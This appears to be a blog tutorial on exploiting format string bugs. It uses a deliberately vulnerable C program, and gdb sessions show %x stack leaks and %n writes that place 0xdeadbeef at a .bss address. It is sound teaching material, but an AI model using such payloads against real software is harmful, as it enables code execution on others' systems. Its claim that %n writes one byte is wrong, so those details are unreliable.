Basic Format String Bug
This time, i gonna introduce about FSB(Format String Bug) exploit technique.
Before i introduce about a technique, let's see what kind of format strings are there.
There are lots of format strings but let's see just 2 format strings what we mainly need.
1 2 3 | format string Value Output %n number of bytes written so far writes the number of bytes till the format string to memory %x hexadecimal hexadecimal number | cs |
When we print something to screen, we just use 'printf-type' functions like below.
1 2 3 4 5 6 7 8 | #include <stdio.h> int main(void) { char buf[] = "AAAA%x%x%x%x"; printf("%s\n", buf); printf(buf); } | cs |
1 2 3 | zero@ubuntu:~/Desktop/pwn/FSB$ ./fsb0 AAAA%x%x%x%x AAAA96499010367b2760364e6cd096499000 | cs |
First one's result is as we intended but second isn't. Because in second 'printf', there are no corresponding variable and values on stack. So it just pops values off the stack. This bug is called FSB(Format String Bug).
With these bugs, we could write arbitrary data to arbitrary area. Of course arbitrary area could be in conditions.. anyway.
let's see the example.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #include <stdio.h> #include <string.h> #define size 128 int main(int argc, char *argv[]) { char buf[size] = {0, }; if(argc != 2) { printf("Usage : %s [string]\n", argv[0]); return 0; } else { strncpy(buf, argv[1], size); printf(buf); } return 1; } | cs |
There is a code that has FSB at line 14.
If we input like below, we could see like that...
1 2 | zero@ubuntu:~/Desktop/pwn/FSB$ ./fsb1-x86 $(python -c 'print "AAAA" + "%x."*10') AAAAffb402f0.80.8048437.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e. | cs |
Look at the outputs. we can find '41414141' popped off the stack. Means, the 'prepended string' is written on the stack.
Additionally, we could see '41414141' right away by input like this.
1 2 | zero@ubuntu:~/Desktop/pwn/FSB$ ./fsb1-x86 $(python -c 'print "AAAA" + "%4$x"') AAAA41414141 | cs |
Because '41414141' is at 4th.
Now, we gonna try to write value(0xdeadbeef) to 'bss' area with %n format string.
We've already checked 'AAAA' is at 4th. Then how to write arbitrary value to .bss address.
First, we need to use %n format string to fill specific address's value with its length value.
Let's see with example.
1 2 3 4 5 6 7 8 | gdb-peda$ r $(python -c 'print "\x84\x97\x04\x08" + "%x"*3 + "%n"') Starting program: /home/zero/Desktop/pwn/FSB/fsb1-x86 $(python -c 'print "\x84\x97\x04\x08" + "%x"*3 + "%n"') gdb-peda$ x/10xw 0x08049784 0x8049784: 0x00000015 0x00000000 0x00000000 0x00000000 0x8049794: 0x00000000 0x00000000 0x00000000 0x00000000 0x80497a4: 0x00000000 0x00000000 gdb-peda$ | cs |
I changed 4th %x to %n for writing the length to 'pointing address'(0x08049784)(=.bss+4).
Result is 0x15 bytes is written. Theoretically,there must be 7(3+4), but 0x15(21). Why?
Because that output(0x15) is as the least significant byte.
We need more bytes to make that value to 0xef.
1 2 | gdb-peda$ print 0xef - 0x15 $1 = 0xda | cs |
We can lengthen the length by doing this. %218x
1 2 3 4 5 6 7 | gdb-peda$ r $(python -c 'print "\x84\x97\x04\x08" + "%x%x" + "%225x" + "%n"') Starting program: /home/zero/Desktop/pwn/FSB/fsb1-x86 $(python -c 'print "\x84\x97\x04\x08" + "%x%x" + "%225x" + "%n"') gdb-peda$ x/10xw 0x08049784 0x8049784: 0x000000ef 0x00000000 0x00000000 0x00000000 0x8049794: 0x00000000 0x00000000 0x00000000 0x00000000 0x80497a4: 0x00000000 0x00000000 | cs |
Success! Like kind of this process, we can write byte to arbitrary address(in conditions).
Let's finish this stuff!
1 2 3 4 5 6 7 8 9 | gdb-peda$ r $(python -c 'print "\x84\x97\x04\x08" + "AAAA" + "\x85\x97\x04\x08" + "BBBB" + "\x86\x97\x04\x08" + "CCCC" + "\x87\x97\x04\x08" + "DDDD" + "%x%x" + "%197x" + "%n" + "%207x" + "%n" + "%239x" + "%n" + "%49x" + "%n"') gdb-peda$ x/10xw 0x08049784 0x8049784: 0xdeadbeef 0x00000002 0x00000000 0x00000000 0x8049794: 0x00000000 0x00000000 0x00000000 0x00000000 0x80497a4: 0x00000000 0x00000000 | cs |
Success! Now 0x08049784 has 0xdeadbeef.
And how about real exploit?
Exploit is also similar. input shellcode somewhere has X perm. get that space's address and overwrite .dtors or somewhere address like above progress.
But there are a few things u need to care about and better way to use %n.
First, u can also use %hn instead of %n. %hn is for 2 bytes. %n is for 1 byte. That's all.
Second, When u calculate string's length, there are the cases that length is above 256 or 65535. Then u need to sub 256 or 65536 because if u use that value with ignorance, it doesn't affect current value but next value.
'Security > System Hacking' 카테고리의 다른 글
[System Hacking] 4. Memory Mitigations on Linux and Windows (0) | 2016.12.25 |
---|---|
[System Hacking] 3. Return To Library(RTL) (0) | 2016.12.24 |
[System Hacking] 1. Basic Buffer Over Flow Exploit (0) | 2016.12.23 |
[System Hacking] 10. Return Oriented Programming on x86-64 linux (0) | 2015.11.28 |
[System Hacking] 0. Starting System Hacking (0) | 2014.07.10 |